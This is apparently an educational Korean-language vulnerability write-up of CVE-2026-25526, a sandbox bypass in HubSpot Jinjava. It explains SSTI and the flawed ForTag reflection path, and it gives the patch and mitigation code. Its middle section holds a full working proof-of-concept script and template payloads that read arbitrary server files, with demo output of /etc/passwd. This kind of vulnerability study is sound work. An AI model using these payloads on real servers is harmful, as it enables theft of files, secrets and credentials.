CVE-2026-25526

HubSpot Jinjava Sandbox Bypass

ForTag 멀티변수 루프의 리플렉션 결함을 이용해
샌드박스를 완전히 우회하고 서버 내 임의 파일을 읽는다

CVSS 9.8 CRITICAL | Jinjava < 2.8.3 | 2026

CVE OVERVIEW

CVE-2026-25526 — 무엇이 터졌나

CVSS SCORE
9.8
Attack Vector: Network
Complexity: Low · Privs: None

AFFECTED
< 2.8.3
HubSpot Jinjava
Java 용 Jinja2 구현체

CWE
CWE-284
Improper Access Control
샌드박스 검사 누락

IMPACT
파일 탈취
/etc/passwd · 소스코드
비밀키 · 환경 변수 파일

HubSpot Jinjava는 Java 서버에서 Jinja2 문법의 템플릿을 렌더링하는 라이브러리다. 이메일 마케팅·CMS 템플릿 엔진으로 널리 쓰인다. 이 취약점은 **ForTag의 멀티변수 루프**가 내부 프로퍼티를 읽을 때 EL(Expression Language) 리졸버를 우회하고 Java 리플렉션을 직접 호출한다는 사실에서 비롯된다. SSTI 취약점이 존재하는 엔드포인트에 이 페이로드를 보내면 샌드박스 보호 없이 서버 파일을 읽을 수 있다.

TEMPLATE ENGINE 101

Jinja2 는 어떻게 렌더링하는가

① 템플릿 문자열

```
Hello {{ name }}!
{% if admin %}
  Welcome back
{% endif %}
```

개발자가 작성한
정적 골격

→

② 렉서 / 파서

```
EXPR → {{ name }}
CTRL → {% if %}
TEXT → "Hello "
```

토큰 분류 후 AST 생성

→

③ EL 리졸버

```
sandbox.resolve
  ("name", ctx)
→ "Alice"
```

샌드박스 통과 후
컨텍스트에서 값 조회

→

④ 출력

```
Hello Alice!
Welcome back
```

최종 HTML / 문자열
사용자에게 전달

문법	예시	렌더링 결과	용도
{{ ... }}	{{ user.name }}	Alice	값 출력 — 사용자 눈에 보임
{% ... %}	{% for x in list %}	출력 없음	제어 흐름 — HTML에 포함 안 됨
{# ... #}	{# 주석 #}	출력 없음	주석 — 렌더링 후 완전히 사라짐

ATTACK PREREQUISITE

SSTI — 사용자 입력이 템플릿이 될 때

템플릿 엔진은 **개발자가 작성한** 문자열만 렌더링해야 한다. 그런데 사용자가 보낸 문자열을 그대로 `jinjava.render()`에 넘기면 서버가 그것을 코드처럼 실행한다.

`{{ 7 * 7 }}`를 보냈을 때 응답이 **49**라면 SSTI가 성립한다. 이 시점에서 공격자는 서버 내부에서 임의 표현식을 실행할 수 있다.

CVE-2026-25526은 SSTI가 존재하는 엔드포인트에서만 작동한다.
SSTI가 없으면 샌드박스 우회도 없다.

✓ 안전한 코드 — 템플릿은 서버 측 고정

```
// 사용자 입력은 컨텍스트 값으로만 사용
String tmpl = TEMPLATES.get("welcome");
ctx.put("name", request.getParam("name"));
jinjava.render(tmpl, ctx);
```

× TEMPLATECONTROLLER.JAVA — 실제 취약 코드

```
@GetMapping("/render")
public String render(@RequestParam String template) {
  // [VULN] 사용자 template 그대로 렌더링
  return jinjava.render(template, context);
}
// GET /render?template={{ 7*7 }} → 49
```

BACKGROUND

샌드박스 — SSTI를 막아야 할 첫 번째 방어선

✓ 허용

→ 변수 출력 & 필터 ({{ name | upper }})
→ for / if / macro 제어문
→ 허용된 내장 함수 (range, loop.index …)
→ 컨텍스트로 전달된 객체의 허용 메서드

× 차단 (샌드박스)

→ 파일 시스템 직접 접근
→ 시스템 명령 실행 (Runtime.exec())
→ Java 내부 클래스 직접 인스턴스화
→ Reflection API 직접 호출

SSTI만 있을 때 (샌드박스 작동 중)

{{ 7 * 7 }}	→ 49	허용
{{ '/etc/passwd' }}	→ 문자열 그대로	허용 (읽기는 안 됨)
{{ ''.__class__ }}	→ 오류 / null	차단

CVE-2026-25526 — 이 샌드박스를 **완전히 우회**하여 파일 읽기가 가능해진다

ROOT CAUSE

ForTag 멀티변수 루프 — 뒷문으로 진입

ForTag.java (< 2.8.3)

```java
// 단일 변수: {% for item in list %}
// → 정상적으로 EL 리졸버 경유

// ★ 멀티변수: {% for k, v in obj %}
if (loopVars.size() > 1) {
  // 객체의 프로퍼티를 직접 읽음
  PropertyDescriptor[] props =
    Introspector.getBeanInfo(val.getClass())
      .getPropertyDescriptors();

  for (PropertyDescriptor pd : props) {
    Method readMethod = pd.getReadMethod();
    // ★★★ 여기가 문제 ★★★
    Object propVal = readMethod.invoke(val);
    // EL 리졸버를 전혀 거치지 않음
    // 샌드박스 검사 = 완전히 건너뜀
  }
}
```

① **멀티변수 루프 트리거**
`{% for _, config in obj %}`
변수가 2개 이상이면 이 코드 경로로 진입

② **Java Introspector 사용**
Bean 프로퍼티 목록을 Java 내부 API로 직접 조회 — 보안 레이어 없음

③ **readMethod.invoke(val)**
EL 리졸버 완전 우회 → 샌드박스 검사 없이 모든 getter 직접 실행

④ **내부 인터프리터 노출**
`____int3rpr3t3r____`는 Jinjava 내부 변수 — getter를 통해 `JinjavaConfig` 접근 가능

INTERNAL ANATOMY

____int3rpr3t3r____ 내부 구조

____int3rpr3t3r____ JinjavaInterpreter

Jinjava 내부 컨텍스트 변수

.config JinjavaConfig

← ForTag getter가 여기까지 도달

- .objectMapper : Jackson ObjectMapper ← 핵심 피벗
- .maxRenderDepth : int
- .sandboxMaxDepth : int
- .allowUnsafeMethods : boolean

.config.objectMapper com.fasterxml.jackson.databind.ObjectMapper

- .typeFactory : TypeFactory
- .convertValue(src, targetType) → 임의 클래스 인스턴스화
- .writeValueAsString(obj) → 객체 직렬화

.context Map<String, Object>

렌더링 컨텍스트 변수 맵

THE JACKSON PIVOT

Jackson .convertValue() — 열쇠가 되는 이유

Jackson `ObjectMapper.convertValue(src, type)`는 원래 JSON 직렬화/역직렬화 도구다. 그런데 이 메서드는 **문자열 → 임의 클래스** 변환을 지원한다.

샌드박스가 `new File("/etc/passwd")`를 차단해도, `om.convertValue("/etc/passwd", fileType)`는 동일한 객체를 만들어낸다. 샌드박스는 이 경로를 막지 못한다.

byte[] → Base64
Jackson은 byte[]를 String으로 변환할 때 자동으로 Base64 인코딩한다 → 파일 내용을 텍스트로 추출 가능

① `{% set ft = om.typeFactory %}`
TypeFactory 획득

② `{% set fileT = ft.constructFromCanonical('java.io.File') %}`
File 클래스 타입 토큰 생성

③ `{% set file = om.convertValue('/etc/passwd', fileT) %}`
= new File("/etc/passwd") — 샌드박스 우회

④ `{% set is = file.toURI().toURL().openStream() %}`
파일 InputStream 열기

⑤ `{% set strT = ft.constructFromCanonical('java.lang.String') %}`
String 타입 토큰 생성

⑥ `{{ om.convertValue(is.readAllBytes(), strT) }}`
byte[] → Base64 문자열 출력 → Python 디코딩

FULL PAYLOAD

완전한 공격 페이로드 — poc.py

poc.py — CVE-2026-25526 PoC

```python
#!/usr/bin/env python3 # 외부 의존성 없음
import sys, urllib.request, urllib.parse, base64

TARGET = sys.argv[1] # http://localhost:8080
FILE = sys.argv[2] # /etc/passwd

# ── Step 1: 파일 존재 확인 ──────────────────────────
PAYLOAD_CHECK = """
{{% for _, config in ____int3rpr3t3r____ %}}
{{% set om = config.objectMapper %}}
{{% set fileT = om.typeFactory.constructFromCanonical('java.io.File') %}}
{{% set f = om.convertValue('{file}', fileT) %}}
EXISTS:{{{{ f.exists() }}}} SIZE:{{{{ f.length() }}}}
{{% endfor %}}
""".format(file=FILE)

# ── Step 2: 파일 읽기 ──────────────────────────────
PAYLOAD_READ = """
{{% for _, config in ____int3rpr3t3r____ %}}
{{% set om = config.objectMapper %}}
{{% set ft = om.typeFactory %}}
{{% set strT = ft.constructFromCanonical('java.lang.String') %}}
{{% set file = om.convertValue('{file}', ft.constructFromCanonical('java.io.File')) %}}
{{% set is = file.toURI().toURL().openStream() %}}
CONTENT:{{{{ om.convertValue(is.readAllBytes(), strT) }}}}
{{% endfor %}}
""".format(file=FILE)

def send(payload):
  url = TARGET + "/render?template=" + urllib.parse.quote(payload)
  with urllib.request.urlopen(url) as r:
    return r.read().decode()
```

LIVE DEMO

poc.py 실행 결과

실행

```
$ docker-compose up --build
... 취약 서버 시작 (포트 8080) ...

$ python3 poc.py \
    http://localhost:8080 \
    /etc/passwd

[*] Target : http://localhost:8080
[*] File : /etc/passwd

[*] Step 1 — 파일 확인
    exists = true
    size = 1234 bytes

[*] Step 2 — 파일 읽기
[+] 성공
```

결과 — /etc/passwd

```
──────────────────────────────────────

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

──────────────────────────────────────

# 외부 의존성 없음 — 표준 라이브러리만 사용
```

```
# 다른 파일도 동일하게 읽을 수 있다
$ python3 poc.py http://localhost:8080 /app/src/main/resources/application.properties
```

PATCH ANALYSIS

ForTag — 패치의 핵심

× BEFORE — JINJAVA < 2.8.3

```
// ForTag 내부 — Java 리플렉션 직접 호출
Method readMethod = pd.getReadMethod();
Object propVal = readMethod.invoke(val);
// EL 리졸버 없음 → 샌드박스 검사 없음
```

✓ AFTER — JINJAVA 2.8.3+

```
// EL 리졸버를 반드시 경유
Object propVal = interpreter.resolveProperty(
  val, propName);
// 모든 getter가 샌드박스 보안 검사 통과
```

MAVEN 의존성 업데이트

```
<!— pom.xml —>
<dependency>
  <groupId>com.hubspot.jinjava</groupId>
  <artifactId>jinjava</artifactId>
  <version>2.7.2</version> <!— × 취약 -->
  <!-- 변경 → -->
  <version>2.8.3</version> <!— ✓ 패치됨 -->
</dependency>
```

MITIGATION

SSTI를 없애면 이 CVE는 처음부터 성립하지 않는다.

CVE-2026-25526은 샌드박스 우회 취약점이지만, 그 전에 SSTI가 존재해야 공격이 시작된다. 사용자 입력을 템플릿 문자열로 **절대 사용하지 않는 것**이 근본 대책이다. 버전 업그레이드는 *SSTI가 있더라도* 이 CVE 경로를 막는 추가 안전망이다.

× TEMPLATECONTROLLER.JAVA — 현재 취약 코드

```
// [VULN] 샌드박스 설정 없이 생성
private final Jinjava jinjava = new Jinjava();

@GetMapping("/render")
public String render(@RequestParam String template) {
  // [VULN] 사용자 입력을 그대로 렌더링
  return jinjava.render(template, context);
}
```

✓ 안전한 수정 — 템플릿을 서버 측에서 관리

```
// 서버가 미리 정의한 템플릿만 사용
private static final Map<String, String> TEMPLATES = Map.of(
  "welcome", "{{ greeting }}"
);

@GetMapping("/render")
public String render(@RequestParam String id) {
  String tmpl = TEMPLATES.get(id);
  if (tmpl == null) return "404";
  // 사용자 입력은 context 값으로만
  return jinjava.render(tmpl, context);
}
```

SUMMARY

핵심 요약

- **SSTI가 전제 조건** — 사용자 입력이 `jinjava.render()`에 직접 전달되는 엔드포인트에서만 공격 가능
  `{{ 7*7 }}` → 49 가 오면 SSTI 확인 완료. 이후 CVE-2026-25526 페이로드 시도

- **ForTag 멀티변수 루프가 뒷문** — `readMethod.invoke(val)`가 EL 리졸버를 완전히 건너뜀
  `{% for _, config in ____int3rpr3t3r____ %}` 한 줄로 샌드박스 보호 해제

- **Jackson이 임의 클래스 인스턴스화 도구** — `convertValue(path, File.class)`로 샌드박스 우회
  byte[] → om.convertValue() → Base64 String → Python b64decode() → 파일 원문

- **패치 두 겹** — SSTI 자체를 제거(구조적 대책) + Jinjava 2.8.3 이상으로 업그레이드(CVE 대책)
  resolveProperty() 경유로 모든 getter가 샌드박스를 통과 → 멀티변수 루프도 안전

QUIZ

어떤 웹 서비스 입력창에

`{{ 7 * 7 }}` 을 보냈더니 `49` 가 왔다.

이 서비스는 Jinjava `2.7.2` 를 사용하고 있다.

공격자가 다음에 할 행동과, 그것이 가능한 이유는?

// Hint: SSTI → ForTag → int3rpr3t3r → Jackson → File

▶ 정답 보기